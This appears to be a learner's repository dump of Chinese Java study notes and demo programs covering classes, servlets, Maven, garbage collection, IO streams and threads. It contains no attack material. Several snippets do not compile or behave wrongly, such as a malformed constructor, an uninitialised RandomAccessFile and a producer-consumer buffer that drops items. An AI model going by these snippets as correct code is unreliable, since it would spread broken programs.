} //} interface ILove { void love(int a); } class Love implements ILove { @Override public void love(int a) { System.out.println("love: " + a); } }<file_sep>/java基础1/8.类/2.三大特性/2.继承/Cat.java public class Cat extends Animal { public double weight; public void run() { super.name; super.age; } public Cat() {}; public Cat(String name, int age; double weight) { super(name,age); this.weight = weight; } }<file_sep>/java基础2/8.javaweb/3.servlet/1.servletcontext/README.md ## servletContext -> servlet上下文对象 > web容器在启动时会为每个web程序创建一个对应的上下文对象,表示的就是当前web应用,其可做到不同servlet间的通信[因为同属于一个web容器] ![](assets/图示.png) ```java package com.tt.servlet; public class HelloServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { /* servletContext: -> web容器在启动时会为每个web程序创建一个对应的上下文对象,表示的就是当前web应用,其可做到不同servlet间的通信[因为同属于一个web容器] 1.共享数据:各个servlet数据共享 ServletContext context = this.getServletContext(); context.setAttribute("username","xx"); context.getAttribute("username"); 2.获取初始化参数:web.xml配置初始化参数 or 通过servletContext接口注入初始化参数 String url = context.getInitParameter("url"); 3.请求转发: -> 请求转发的url不会改变[307状态码],重定向会改变url[后端直接将请求url做了修改,302状态码] RequestDispatcher requestDispatcher = context.getRequestDispatcher("/share");//转发的请求路径 requestDispatcher.forward(req,resp);//调用forward实现请求转发 4.读取资源文件: -> 读取资源:1.new properties(); 2.load(流) -> 资源文件目录:main/resources下创建资源,打包后的路径target/classes/xx.properties,classes目录也称之为classpath InputStream stream = context.getResourceAsStream("/WEB-INF/classes/db.properties");//路径:项目构建后的路径 Properties prop = new Properties(); prop.load(stream); String username = prop.getProperty("username"); String password = prop.getProperty("password"); resp.setContentType("text/html"); resp.setCharacterEncoding("utf-8"); resp.getWriter().print(username + ":" + password); */ System.out.println("servlet调用成功"); ServletContext context = this.getServletContext(); String username = "共享value"; context.setAttribute("username",username); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req,resp); } } ```<file_sep>/java基础2/TestPro/io/src/com/mi/apacheio/FileUtilsDemo.java package com.mi.apacheio; import org.apache.commons.io.FileUtils; import java.io.File; import java.io.FileFilter; import java.io.IOException; public class FileUtilsDemo { public static void main(String[] args) throws IOException { System.out.println(new File("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt")); String content = FileUtils.readFileToString(new File("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.txt"),"utf-8"); System.out.println(content); // 拷贝文件 FileUtils.copyDirectory(new File("d/a"), new File("d/b"), new FileFilter() { // 文件拷贝时的过滤条件 -> 接口内部类 @Override public boolean accept(File pathname) { if(pathname.isDirectory() || pathname.getName().endsWith("html")){ return true; } return false; } }); } }<file_sep>/java基础1/7.数组/1.一维数组/Demo3.java /** * 两个数组内元素对应位置互换 * array1{1,2,3,4} * array2{5,6,7,8} */ public class Demo3 { public static void main(String[] args) { int[] arr1 = new int[]{1,2,3,4}; int[] arr2 = new int[]{5,6,7,8}; // 方法1:直接进行数组内元素两两互换:两者长度相等时互换成功,若长度不相等则需要处理边界情况,因为很容易产生数组越界异常 // 方法2:直接进行数组引用互换即可 -> 巧妙利用引用数据类型内存存储方式:栈区存放引用,堆区存放数据 int[] arr = new int[]{}; arr = arr1; arr1 = arr2; arr2 = arr; for(int item:arr1) { System.out.println(item); } for(int item:arr2) { System.out.println(item); } } }<file_sep>/java基础2/8.javaweb/2.maven/README.md ## Maven -> 项目管理工具 > 背景:项目开发需使用大量jar包,手动导入并配置较繁琐,这些均属于'工程层面问题',开发者应专注业务开发 -> Maven更高效管理jar包 > 使用:Maven提供了很多模板,基于模板创建项目,脚本命令几乎都相同,聚焦在'根据项目目录进行开发,maven会进行构建成目标目录结构',开发者专注业务开发即可 ### 环境搭建 > 1. 官网下载解压缩即可:https://maven.apache.org/download.cgi ![](assets/环境搭建/下载.png) > 2. 目录结构 ![](assets/环境搭建/目录结构.png) > 3. 配置环境变量 > [1].MAVEN_HOME: C:\maven\apache-maven-3.8.3 -> 根目录 > [2].M2_HOME: C:\maven\apache-maven-3.8.3\bin -> bin目录[建议添加此配置:springBoot、springCloud等框架均会使用M2_HOME环境变量] > [3].path路径中添加%MAVEN_HOME%\bin -> %%表示引用外面的系统变量 > -> 本质:在任何目录下打开cmd运行maven相关操作,其首先会在当前目录下找maven相关的脚本文件,找不到就到系统变量设置的path路径下寻找,此处设置了bin目录,因此其就可以找到脚本文件 => 通过配置path环境变量实现了任何目录下均可使用maven > 4. 查看是否安装成功 > [1].打开CMD命令行:win+R > [2].输入mvn -version > 5. 修改镜像 -> 国外镜像拉取很慢,使用国内阿里云镜像 > [1].找到配置文件: C:\maven\apache-maven-3.8.3\conf\setting.xml > [2].修改配置文件中的mirrors部分 ![](assets/环境搭建/修改镜像.png) ```xml <!-- 阿里云镜像 --> <mirror> <id>nexus-aliyun</id> <mirrorOf>*,!jeecg,!jeecg-snapshots</mirrorOf> <name>Nexus aliyun</name> <url>http://maven.aliyun.com/nexus/content/groups/public</url> </mirror> ``` > 6. 创建本地仓库 > [1].找到配置文件: C:\maven\apache-maven-3.8.3\conf\setting.xml > [2].修改配置文件中的localRepository部分 -> 前提:根目录下创建maven-repo ![](assets/环境搭建/创建本地仓库.png) ```xml <!-- 修改仓库位置 --> <localRepository>C:\maven\apache-maven-3.8.3\maven-repo</localRepository> ``` ### IDEA中使用Maven > 1. 启动IDEA > 2. 使用maven创建javaweb项目[其提供很多项目模板,选择Javaweb模板] ![](assets/idea使用maven/创建step1.png) ![](assets/idea使用maven/创建step2.png) ![](assets/idea使用maven/创建step3.png) ![](assets/idea使用maven/创建step4.png) ![](assets/idea使用maven/创建step5.png) > 3. IDEA配置Maven相关 ![](assets/idea使用maven/配置maven.png) > 4. 当前项目Maven配置文件 -> 参考pom.xml ![](assets/pom.png) ### IDEA中javaWeb项目与Tomcat关联 > 本质:将javaweb项目部署到tomcat服务器上,idea通过配置化的方式操作服务器[前提:idea配置了maven、tomcat] ![](assets/关联/step1.png) ![](assets/关联/step2.png) ![](assets/关联/step3.png)<file_sep>/java基础1/14.垃圾回收/README.md ## 垃圾回收 -> Garbage Collection > 背景:内存分为栈区[存放变量、函数栈帧,系统调用]、堆区[存放对象,开发者new/delete操作]、方法区[存放常量、静态内容、类加载器,本质也是堆区] -> java内存管理指的就是堆区管理,因为堆区开放给开发者操作,C、C++开发者进行内存分配、回收,常会造成内存泄漏等问题,java可自动进行内存分配、回收,有效避免了内存泄漏,开发者更聚焦在业务开发而不是内存管理[内存管理还是应该语言层面抹平,但C、C++偏系统编程语言,确实需要进行内存管理] > 本质:发现垃圾 -> 回收垃圾 => 发现无用对象 -> 回收无用对象[对象赋值Null即可] ### 垃圾回收过程 -> 分代垃圾回收机制 > 对象的生命周期不同,将对象分为三种状态年轻代、年老代、永久代,处于不同状态的对象存放堆中不同区域,JVM将堆内存划分为Eden、Survivor、Tenured/Old > 流程: > 1. 首先所有新生成对象都存放在Eden区,当Eden区存放满时,Minor GC会进行清理,然后依然存活的对象会放入到Survivor区s1区[分为s1/s2区域],当Eden区又满了的时候,Minor GC再次进行清理,然后将Eden区、s1存活的,放入到s2区,此时Eden、s1被清空了,当Eden区再次被占满时,Minor GC再次进行清理,然后将Eden区、s2区存活的放入s1区,此时Eden、s2被清空,循环操作[这种频繁的复制操作会浪费内存空间],当操作N[默认15次]Minor GC垃圾回收后仍然存活的对象会被放入到年老代Tenured区,显然此区存放的都是生命周期较长的对象,当年老代对象占满时候,此时就需要启动Major GC进行垃圾回收,Full GC可进行大扫除全量回收年轻代、年老代区域 > 2. 永久代:存放常量、静态内容、类加载等,实际就是方法区 -> 垃圾回收不会对其进行清理,因为其会一直占用内存,但时间很久时也会被Full GC清理 => JDK8之前使用'永久代'的堆内存划分方式,JDK8之后取消了'永久代',使用metaspace元数据空间来代替,也就是方法区的内容全部存放在硬盘 > ![](assets/堆内存划分.png) > 分类: > Minor GC: 清理年轻代区域Eden、Survivor > Major GC: 清理年老代区域Tenured > Full GC: 全量清理年轻代、年老代区域 -> 成本较高,影响系统性能 ### 垃圾回收算法 > 1. 引用计数法 > 堆中每个对象都对应一个'引用计数器',当有引用指向该对象时引用计数器加1,当指向该对象的引用失效时[赋值为null]引用计数器减1,若最后该对象引用计数器值为0,java回收器会认为该对象为'无用对象'并对其进行回收 -> 优点:算法简单;缺点:循环引用的无用对象无法被回收 ```java // 循环引用 public class Student { String name; Student friend; public static void main(String[] args) { Student s1 = new Student(); Student s2 = new Student(); // s1/s2s虽然赋值为null,但却循环引用导致无法被回收 s1.friend = s2; s2.friend = s1; s1 = null; s2 = null; } } ``` > 2. 引用可达法/根搜索算法 > 将引用关系看作'图关系',从根节点开始寻找对应的引用节点,找到后继续寻找该节点的引用节点,当所有引用节点寻找完毕后,剩余的节点则被认为是没有被引用到的节点,即无用节点 ### JVM调优 > JVM调优很大部分是对Full GC的调节 > 引起Full GC的操作: > 1. 年老代Tenured被写满 > 2. 永久代Perm被写满 > 3. System.gc()被显示调用 > 4. 上次GC后Heap的各域分配策略动态变化 > 开发者无权调用垃圾回收器,仅能JVM自行调用 > 1. 开发者使用System.gc()也仅仅是通知JVM,并不是运行垃圾回收器,是否运行依旧是JVM自行判断 -> 尽量少用影响系统性能 > 2. finalize方法:可用于释放对象或资源 -> 不建议使用 ### 开发中容易造成内存泄漏的操作 -> 很容易造成系统崩溃 > 本质:java垃圾回收可回收掉'垃圾对象',但如果有些对象一直被引用,不被视为垃圾,有很多这种对象的时候就会造成'内存泄漏',因此并非有java垃圾回收后就没有'内存泄漏'发生 > 1. 创建大量无用对象 ```java // 拼接字符串时使用了String 而不是StringBuilder String str = ""; for (int i = 0; i < 10000; i++) { str += i; //相当于产生了10000 个String 对象 } ``` > 2. 静态集合类的使用 > HashMap、Vector、List等的使用很容易出现内存泄露,这些静态变量的生命周期和应用程序一致,所有的对象Object也不能被释放 > 3. 各种连接对象未关闭 > IO流对象、数据库连接对象、网络连接对象等连接对象属于物理连接,它们和硬盘或者网络连接,不使用的时候一定要关闭 > 4. 监听器的使用不当 > 释放对象时,没有删除相应的监听器<file_sep>/java基础1/8.类/1.初识类/Person.java public class Person { public String name; public int age; public String sex; /* 关于this: -> 其指的就是最终创建的对象,方法中可通过其调用属性、方法 1.this修饰属性:同一个类中可直接调用,this.可省略不写 2.this修饰方法:同一个类中可互相调用,this.可省略不写 3.this修饰构造器: 同一个类中的构造器可相互使用this调用,但必须放在第一行 this();//等同于this.Person(); 调用构造器简写 => 开发中不建议this.省略,省略的本质也是编译过程中JVM默认识别为添加'this.' */ public static void speak(){ System.out.println(age);//this.age System.out.println(this.name + "speak"); } public static void sport(){ speak();//this.speak(); } public Person() { } public Person(String name, int age) { this.name = name; this.age = age; } public Person(String name, int age, String sex) { this(name,age);//this.Person(name,age) this.sex = sex; this.speak(); } /* 关于static: -> 背景:创建的实体拥有'共同的'属性/方法,每次都需要独立分配内存,于是将公共的属性方法使用static修饰将其存储在'方法区',所有实体共用即可 => 类加载的时候就会将静态内容加载到方法区中的'静态域',因此静态内容先于对象存在,被所有对象共享 -> 优点:共用内存空间,减少内存浪费 -> 缺点:如果将很多属性方法都使用static修饰,类初始时加载成本较高,内存占用也多[例如:创建少量实体却将很多属性方法都放到方法区,就很不划算] 1.其可修饰:属性[也称为类变量]、方法[也称为类方法]、代码块、内部类 2.访问方式:对象名.属性名/方法名; 类名.属性名/方法名(推荐) */ static String school; public static void record() {} }<file_sep>/java基础2/5.注解反射/2.反射/README.md ## 反射 -> 动态性 > 其允许程序执行期借助Reflection API取得任何类的内部信息,类转换为类对象后可直接操作属性及方法,开发很便捷[面向对象思想] -> 其让JAVA这种静态语言具备'动态性',程序运行期可做很多事情,等同于'Hook钩子',很多框架就是基于反射机制 + 注解实现,功能异常强大,编程非常灵活,但反射对性能有影响[插入执行期必然影响原有性能] > 类加载机制:类加载完成后,系统就会在堆内存中产生该类的Class类型对象,也就是类是创建对象的模板,类本身也是对象 => 仅系统可创建 && 仅能创建一次 > 聚焦:获取类对象、所有类型的Class类对象、获取类对象运行时的内部结构[属性、方法等]、动态创建对象操作属性方法、操作泛型信息、操作注解信息、性能分析 ### 静态语言 VS 动态语言 > 静态语言:强类型语言,运行时结构不可变[例如:变量类型确定后不可更改],JAVA、C、C++ -> JAVA可利用反射机制实现'动态性',其是'准动态语言' > 动态语言:弱类型语言,运行时结构可变[例如:变量类型确定后可随意赋值修改,新的函数、对象甚至代码可被引进] -> JavaScript、PHP、Python、C#、Object-C<file_sep>/java基础1/15.其它/README.md ## 其它 > 一个java文件中仅能有1个public类,而且类名必须与文件同名,可以写多个其它类<file_sep>/java基础2/TestPro/io/src/com/mi/demo/ByteArrayStreamDemo.java /* 字节数组输入流/输出流: 本质:字节数组对象作为数据源 ByteArrayInputStream、ByteArrayOutputStream */ package com.mi.demo; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; public class ByteArrayStreamDemo { public static void main(String[] args) { ByteArrayOutputStream bos = null; ByteArrayInputStream bis = null; try { bos = new ByteArrayOutputStream(); bos.write('a'); bos.write('b'); bos.write('c'); byte[] arr = bos.toByteArray(); System.out.println(arr); bis = new ByteArrayInputStream(arr); StringBuilder sb = new StringBuilder(); int temp = 0; while((temp = bis.read()) != -1) { sb.append((char)temp); } System.out.println(sb); } catch(Exception e) { e.printStackTrace(); } finally { try { if(bis != null) { bis.close(); } if(bos != null) { bos.close(); } } catch(Exception e) { e.printStackTrace(); } } } }<file_sep>/java基础2/4.多线程/2.线程状态/README.md ## 线程状态 > 创建、就绪、运行、阻塞、终止/死亡 -> 接口化调用实现 > 某线程一旦死亡就无法重新启动 ![](assets/线程状态图.png) ![](assets/接口化调用.png) ### 创建 > 创建线程类 -> 参考'线程实现'文件,其提供了三种实现方式 ### 就绪 > 调用start()方法,并不意味着立即调度执行 ### 运行 > 调用run()方法 ### 阻塞 > 调用sleep(毫秒数)方法进行阻塞,时间到达后线程进入就绪状态 > 1.常用于模拟网络延时、倒计时等 > 2.sleep存在异常interruptedException > 3.每个对象都有一个锁,sleep不会释放锁 > -> sleep()方法可放大'问题的发生性',暴露出线程同步问题[很重要] ```java package com.mi.threadstatus; import java.text.SimpleDateFormat; import java.util.Date; public class TestSleepDemo { // 模拟倒计时 public static void CountDown() throws InterruptedException { int num = 10; while(true) { Thread.sleep(1000); System.out.println(num--); if(num <= 0) { break; } } } // 系统时间 public static void systemTime() { Date startTime = new Date(System.currentTimeMillis()); while(true) { try { Thread.sleep(1000); System.out.println(new SimpleDateFormat("HH:mm:ss").format(startTime)); startTime = new Date(System.currentTimeMillis()); } catch (InterruptedException e) { e.printStackTrace(); } } } // main主线程 public static void main(String[] args) { // try { // TestSleepDemo.CountDown(); // } catch (InterruptedException e) { // e.printStackTrace(); // } TestSleepDemo.systemTime(); } } ``` ### 终止 > 不建议使用JDK提供的Stop()、destroy()方法,已废弃 > 建议使用'标志位'终止线程运行,或者线程停止下来 ```java package com.mi.threadstatus; public class TestStopDemo implements Runnable{ // 标志位 private boolean flag = true; @Override public void run() { int i = 0; while(flag) { System.out.println("输出:" + i); } } // stop public void stop() { this.flag = false; } // main主线程 public static void main(String[] args) { TestStopDemo testStopDemo = new TestStopDemo(); new Thread(testStopDemo,"stop").start(); for(int i = 0; i<=100000; i++) { if(i == 100000) { testStopDemo.stop(); System.out.println("线程停止"); } } } } ```<file_sep>/java基础2/2.容器/1.单例集合/README.md ## 单例集合 > 单个数据为单位存储 ### Collection接口抽象方法 > JDK1.8 ![](assets/java8之前抽象方法.png) > JDK1.8之后新增抽象方法[助力多线程编程、函数式编程] ```java /* 新增方法 说明 removeIf 删除容器中所有满足filter指定条件的元素 stream、parallelStream stream、parallelStream分别返回该容器的Stream视图,parallelStream()返回并行的Stream,Stream是Java函数式编程的核心类 spliterator 可分割的迭代器,不同以往的iterator需要顺序迭代,Spliterator可以分割为若干个小的迭代器进行并行操作,实现多线程操作提高效率 */ ```<file_sep>/java基础2/TestPro/io/src/com/mi/demo/RandomAccessFileDemo.java /* 随机访问流: 1.实现对文件的读写操作 2.可操作文件的任意位置,其它流处理仅能按先后顺序操作 -> 开发某些客户端系统时,经常会用到这个'可任意操作文件内容'的类,java目前很少用于开发客户端软件,所以使用场景较少 常用方法: RandomAccessFile(String name, String mode);//name:文件名; mode: r(读)/rw(读写),文件访问权限 seek(long a);//定位流对象读写文件的位置,a表示读写位置距离文件开头的字节个数 getFilePointer();//获得流的当前读写位置 */ package com.mi.demo; import java.io.RandomAccessFile; public class RandomAccessFileDemo { public static void main(String[] args) { RandomAccessFile raf = null; try { int[] arr = new int[]{10,20,30,40,50,60,70,80,90,100}; for(int i=0; i<arr.length; i++){ raf.writeInt(arr[i]); } raf.seek(4);//操作int类型数据,int占4个字节,也就是此时其在20所在字节的位置 System.out.println(raf.readInt()); // 隔一个读取一个数据 for(int i=0; i<10; i+=2) { raf.seek(i*4); System.out.print(raf.readInt() + "\t"); } System.out.println(); } catch(Exception e) { e.printStackTrace(); } finally { try { if(raf != null) { raf.close(); } } catch(Exception e) { e.printStackTrace(); } } } }<file_sep>/java基础2/TestPro/thread/src/com/mi/threadstatus/TestYieldDemo.java /* 线程礼让 */ package com.mi.threadstatus; public class TestYieldDemo implements Runnable { @Override public void run() { System.out.println(Thread.currentThread().getName() + "线程开始执行"); Thread.yield(); System.out.println(Thread.currentThread().getName() + "线程结束执行"); } // main线程 public static void main(String[] args) { TestYieldDemo yield1 = new TestYieldDemo(); TestYieldDemo yield2 = new TestYieldDemo(); new Thread(yield1,"a").start(); new Thread(yield2,"b").start(); } }<file_sep>/java基础1/8.类/3.其它/2.抽象类/README.md ## 抽象类 > 背景:很多类有共同属性方法,于是抽离出'父类' -> 抽象类是'强约束'的父类,类中包含属性、普通方法、抽象方法,该类不能创建对象,继承该类的子类必须实现父类中的抽象方法 => 抽象类目的就是定义模板,子类必须实现该模板提供的抽象方法 ### 开发应用 > 1. 定义抽象类、抽象方法[抽象方法仅存在于抽象类,虽然其可写属性、普通方法,但抽象类中大多不写属性、普通方法] > 2. 抽象类被继承:子类必须重写所有抽象方法,若不想重写所有抽象方法,只能将子类也变成一个抽象类[子类继承抽象类后并不是抽象类,抽象类目的就是提供'强模板'] > 3. 抽象类不能创建对象,但也有构造器 -> 构造器被private修饰,子类创建对象的时候也要先super调用父类构造器 > 4. 抽象类不能被final修饰,因为其目的就是被子类继承,重写父类方法 ```java // abstract public class Animal public abstract class Animal { // 普通方法 public void eat() {} // 抽象方法 -> 其没有方法体 public abstract void shout(); public abstract void run(); } public class Cat extends Animal { public void shout() { System.out.println("喵喵"); } public void run() { System.out.println("边跑边喵"); } } ```<file_sep>/java基础2/TestPro/io/src/com/mi/demo/ObjectOutputStreamObjectTypeDemo.java /* 对象流: 背景:对象是用于组织存储数据,开发中往往需要将对象存储到硬盘上的文件、网络传输对象数据等 -> 网络传输数据的格式仅能是二进制序列,无论是字节流还是字符流最终都需转换为二进制形式,关于java对象的传输,就需要用到序列化、反序列化 序列化:发送方将java对象转换为字节序列,才能在网络上传送 反序列化:接收方将字节序列转换为对象,才能正常读取 -> 这些对象流不仅可处理java对象,还可对基本数据类型进行读写操作,但数据流[DataInputStream、DataOutputStream]仅能对基本数据类型和字符串类型进行处理,不能处理java对象 */ package com.mi.demo; import java.io.*; public class ObjectOutputStreamObjectTypeDemo { public static void main(String[] args) { ObjectOutputStream oos = null; ObjectInputStream ois = null; try { oos = new ObjectOutputStream(new BufferedOutputStream(new FileOutputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\e.txt"))); Users users = new Users("curry",18); oos.writeObject(users); oos.flush(); ois = new ObjectInputStream(new BufferedInputStream(new FileInputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\e.txt"))); Users user = (Users)ois.readObject(); System.out.println(user.getUsername() + ":" + user.getAge()); } catch(Exception e) { e.printStackTrace(); } finally { try { if(oos != null) { oos.close(); } if(ois != null) { ois.close(); } } catch(Exception e) { e.printStackTrace(); } } } }<file_sep>/java基础2/3.IO流/1.File类/README.md ## File类 > java.io.File -> 需要导包 > 其就是操作文件及目录:生成、删除、读取、修改等 ### 常用方法 ```java /* File类创建:-> 目录 && 文件 File file = new File(pathname) 绝对路径:new File("d:/a.txt");//默认放到D盘 相对路径:new File("a.txt");//默认放到user.dir目录下 -> user.dir指代当前项目的目录 System.getProperty("user.dir"); -> 仅定义文件存放位置,需要调用创建文件方法才会'真正创建' // 文件 file.createNewFile();//创建文件 file.delete();//删除文件 file.getAbsolutePath();//绝对路径 file.getPath();//相对路径 file.getName();//文件名 file.length();//文件大小 file.lastModified();//文件最后修改时间 file.isFile();//是否为文件 file.exists();//是否存在 // 目录 file.mkdir();//创建一个目录 -> 若中间某目录缺失则创建失败 file.mkdirs();//创建多个目录 -> 若中间某目录缺失则会创建缺失目录 file.isDirectory();//是否为目录 file.getParentFile();//获取当前目录的父级目录 file.list();//返回字符串数组 -> 目录中的文件以及目录的路径名 file.listFiles();//返回File数组 -> 表示用此抽象路径名表示的目录中的文件 */ System.out.println(System.getProperty("user.dir")); File file = new File("a.txt");//仅定义文件存放位置,需要调用创建文件方法才会'真正创建' file.createNewFile(); // file1.delete(); System.out.println(file.getPath()); System.out.println(file.getName()); System.out.println(file.length()); System.out.println(file.lastModified()); System.out.println(file.isFile()); System.out.println(file.isDirectory()); System.out.println(file.exists()); File file1 = new File("d:/test/java/file/func");//仅创建目录,d:/test/java/file/func/a.txt -> a.txt会被当作目录创建 boolean flag = file1.mkdir(); boolean flag1 = file1.mkdirs(); System.out.println(flag); System.out.println(flag1); ``` ### 应用 ```java /** * 递归遍历目录结构 -> 树状展示 */ import java.io.File; public class Demo { public static void main(String[] args){ File file = new File("d:/movies"); printFile(f,0); } /** * 打印文件信息 * @param file 文件名称 * @param level 层次数 */ static void printFile(File file, int level) { // 输出层次数 for(int i=0; i<level; i++) { System.out.print("-"); } // 输出文件名 System.out.println(file.getName()); // 若file是目录,则获取子文件列表并对每个子文件进行相同操作 if(file.isDirectory()) { File[] files = file.listFiles(); for(File temp: files) { printFile(temp,level+1); } } } } ```<file_sep>/java基础2/TestPro/thread/src/com/mi/threadinfo/TestLight.java /* 信号灯法:设置标志位 */ package com.mi.threadinfo; public class TestLight { public static void main(String[] args) { Program program = new Program(); Player player = new Player(program); Watcher watcher = new Watcher(program); new Thread(player,"player").start(); new Thread(watcher,"watcher").start(); } } // 演员 -> 生产者 class Player implements Runnable{ Program program; public Player(Program program) { this.program = program; } @Override public void run() { for(int i=0; i<20; i++) { if(i%2 == 0) { this.program.play("表演节目xx"); } else { this.program.play("节目广告"); } } } } // 观众 -> 消费者 class Watcher implements Runnable { Program program; public Watcher(Program program) { this.program = program; } @Override public void run() { for(int i=0; i<20; i++) { program.watch(); } } } // 节目 -> 产品 class Program { String voice; boolean flag = true; // 演员表演,观众等待 true; 观众观看,演员等待 false; // 表演 public synchronized void play(String voice) { // 若观众观看,演员等待 if (!flag) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println("演员表演了:" + voice); // 通知观众观看 this.notifyAll(); this.voice = voice; this.flag = !this.flag; } // 观看 public synchronized void watch() { // 若已在表演,观众等待 if(flag) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println("观看了:" + voice); // 通知演员表演 this.notifyAll(); this.flag = !this.flag; } }<file_sep>/java基础2/3.IO流/2.文件字节流/README.md ## 文件字节流 > InputStream/OutputStream抽象类的两个具体实现类:FileInputStream/FileOutputStream -> 适合所有类型文件,图像、视频、文本文件等,但文本文件建议使用字符流处理,例如FileReader ```java package com.mi.demo; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.BufferedInputStream; import java.io.BufferedOutputStream; public class FileStreamBuffedDemo { public static void main(String[] args) { FileInputStream fis = null; FileOutputStream fos = null; // 缓存流 -> 处理流 BufferedInputStream bis = null; BufferedOutputStream bos = null; try{ fis = new FileInputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a.jpg"); bis = new BufferedInputStream(fis); fos = new FileOutputStream("C:\\workspace\\dev\\1.技术体系\\2.后端\\javastudy\\a1.jpg"); bos = new BufferedOutputStream(fos); int temp = 0; while(temp != -1) { temp = fis.read(); bos.write(temp); } // 刷新:将数据从内存写入磁盘中 bos.flush(); } catch(Exception e) { e.printStackTrace(); } finally { try { // 关闭流顺序:【成对】后开先关闭 if(bis != null){ bis.close(); } if(fis != null) { fis.close(); } if(bos != null) { bos.close(); } if(fos != null) { fos.close(); } } catch(Exception e) { e.printStackTrace(); } } } } ```<file_sep>/java基础2/4.多线程/4.线程通信/README.md ## 线程通信/协作 > 线程间需要通信来保证程序的正确运行 ### 生产者消费者问题 #### 管程法 -> 设置缓冲区 ```java /* 管程法:设置缓冲区 类:生产者、消费者、产品、缓冲区 -> 生产者、消费者是线程 生产者:仅关注生产产品 消费者:仅关注消费产品 缓冲区:负责通信,生产者放入、消费者取出 */ package com.mi.threadinfo; public class TestPC { public static void main(String[] args) { SynContainer container = new SynContainer(); Productor productor = new Productor(container); Consumer consumer = new Consumer(container); new Thread(productor,"productor").start(); new Thread(consumer,"consumer").start(); } } // 生产者 class Productor implements Runnable{ SynContainer container; public Productor(SynContainer container) { this.container = container; } // 生产 @Override public void run() { for(int i=0; i<100; i++) { System.out.println("生产了" + i + "只鸡"); container.push(new Chicken(i)); } } } // 消费者 class Consumer implements Runnable{ SynContainer container; public Consumer(SynContainer container) { this.container = container; } // 消费 @Override public void run() { for(int i=0; i<100; i++) { System.out.println("消费了" + container.pop().id + "只鸡"); } } } // 产品 class Chicken { int id; public Chicken(int id) { this.id = id; } } // 缓存区 class SynContainer { // 容器 Chicken[] chickens = new Chicken[10]; // 计数器 int count = 0; // 生产者放入产品 public synchronized void push(Chicken chicken) { // 容器存满,则等待消费 if(count == chickens.length) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } else { // 容器未满,丢入产品 chickens[count] = chicken; count++; // 通知消费者消费 this.notifyAll(); } } // 消费者取出产品 public synchronized Chicken pop() { // 容器没产品,则通知消费者生产,消费者等待 if(count == 0) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } else { // 容器有产品,消费产品 count--; Chicken chicken = chickens[count]; // 吃完了,通知生产者生产 this.notifyAll(); return chicken; } return null; } } ``` #### 信号灯法 -> 设置标志位 ```java package com.mi.threadinfo; public class TestLight { public static void main(String[] args) { Program program = new Program(); Player player = new Player(program); Watcher watcher = new Watcher(program); new Thread(player,"player").start(); new Thread(watcher,"watcher").start(); } } // 演员 -> 生产者 class Player implements Runnable{ Program program; public Player(Program program) { this.program = program; } @Override public void run() { for(int i=0; i<20; i++) { if(i%2 == 0) { this.program.play("表演节目xx"); } else { this.program.play("节目广告"); } } } } // 观众 -> 消费者 class Watcher implements Runnable { Program program; public Watcher(Program program) { this.program = program; } @Override public void run() { for(int i=0; i<20; i++) { program.watch(); } } } // 节目 -> 产品 class Program { String voice; boolean flag = true; // 演员表演,观众等待 true; 观众观看,演员等待 false; // 表演 public synchronized void play(String voice) { // 若观众观看,演员等待 if (!flag) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println("演员表演了:" + voice); // 通知观众观看 this.notifyAll(); this.voice = voice; this.flag = !this.flag; } // 观看 public synchronized void watch() { // 若已在表演,观众等待 if(flag) { try { this.wait(); } catch (InterruptedException e) { e.printStackTrace(); } } System.out.println("观看了:" + voice); // 通知演员表演 this.notifyAll(); this.flag = !this.flag; } } ```<file_sep>/java基础2/8.javaweb/3.servlet/2.response/README.md ## response > 其表示服务端的响应,响应信息相关接口都被封装到HttpServletResponse ### 常见应用: > 1. 向客户端发送信息 > 2. 客户端下载文件 > 3. 重定向 ```java // 客户端下载文件 package com.tt.servlet; public class FileServlet extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { // 文件下载: // 1.获取下载文件的路径 -> classpath or 资源的绝对路径 String realPath = this.getServletContext().getRealPath("/WEB-INF/classes/mvn.png"); // String realPath = "C:\\workspace\\testPro\\javaweb-03-servlet\\response\\src\\main\\resources\\mvn.png"; System.out.println(realPath); // 2.下载的文件名 String fileName = realPath.substring(realPath.lastIndexOf("\\") + 1); System.out.println(fileName); // 3.设置:浏览器可支持下载 resp.setHeader("Content-Disposition","attachment;filename="+ URLEncoder.encode(fileName,"utf-8"));//URLEncoder.encode(fileName,"utf-8") 文件名转码,设置utf-8来支持中文 // 4.获取下载文件的输入流 FileInputStream in = new FileInputStream(realPath); // 5.创建缓冲区 int len = 0; byte[] buffer = new byte[1024]; // 6.获取输出流对象,并输出数据到客户端 ServletOutputStream out = resp.getOutputStream(); while((len=in.read(buffer)) > 0) { out.write(buffer,0,len); } // 7.关闭数据流 -> 后开先关 in.close(); out.close(); } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } } ``` ```java // 重定向 package com.tt.servlet; public class RequestTest extends HttpServlet { @Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { System.out.println("get请求进入"); String username = req.getParameter("username"); String password = req.getParameter("password"); System.out.println(username + ":" + password); /* 重定向: -> 底层实现:1.设置'客户端请求的url' 2.设置响应状态码;//客户端拿到302状态码会自动跳转 resp.setHeader("location",'/s3/success.jsp'); resp.setStatus(302); */ resp.sendRedirect("/s3/success.jsp");//语法糖:客户端设置新url + 响应状态码 } @Override protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException { doGet(req, resp); } } ```<file_sep>/java基础2/2.容器/1.单例集合/2.Set接口/2.TreeSet类/README.md ## TreeSet类 -> Set接口的实现类 